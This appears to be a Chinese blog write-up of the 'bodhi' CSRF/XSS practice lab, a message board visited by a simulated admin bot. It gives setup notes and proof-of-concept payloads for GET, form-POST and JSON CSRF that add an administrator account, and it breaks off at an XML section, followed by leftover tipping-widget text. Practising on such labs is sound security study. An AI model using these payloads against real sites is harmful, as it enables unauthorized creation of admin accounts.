一个CSRF靶场练习

xss+csrf的漏洞测试小靶场
难度递升的6个题目,第6个的技巧还是有的:正则取数据,延时请求。
靶场下载地址:http://github.com/amolnaik4/bodhi

靶场逻辑:
一个留言板功能(另一个上传html文件作为漏洞点)作为漏洞点+后台一个进程(admin_bot.py)模拟管理员访问留言板的内容。

代码运行

由于代码原来是用docker方式的启动,因此需要对代码做些修改

  1. firefox?? or chrome and its driver in admin_bot.py
  2. uploads another_server的目录代码 调整 在 in admin_bot.py and server_8000.py

poc

直接给出的方式。

1.get csrf

能达到get请求就可以

<img src="/add_admin?username=admin111&password=admin111&isAdmin=yes&submit=Add User" />

2.post csrf

post请求可以有两种方式

  1. 虚拟表单提交
  2. 参考异步请求的方式
1. 虚拟表单

2. 异步请求
  1. 构造XMLHttpRequest对象
  2. 设置请求头
  3. 然后使用其发送异步请求

xmlhttp.setRequestHeader(“Content-Type”,“application/x-www-form-urlencoded;”);

<script language="javascript">
var url = "/add_admin";var xmlhttp;
if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState===4&&xmlhttp.status===200){var b=3;}};
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
var data="username=admin222&password=admin222&isAdmin=yes&submit=Add User";
xmlhttp.send(data);
</script>

3.JSON based CSRF

  1. 构造XMLHttpRequest对象
  2. 设置请求头
  3. 然后使用其发送异步请求

xmlhttp.setRequestHeader(“Content-type”,“application/json”)

<script language="javascript">var xmlhttp;if (window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}xmlhttp.onreadystatechange=function(){if (xmlhttp.readyState===4 && xmlhttp.status===200){var b=3;}};xmlhttp.open("POST","/add_admin",true);xmlhttp.setRequestHeader("Content-type","application/json");var data = {"username":"admin333","password":"admin333","isAdmin":"yes","submit":"Add User"};var data_json = JSON.stringify(data);xmlhttp.send(data_json);</script>

4.XML b

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值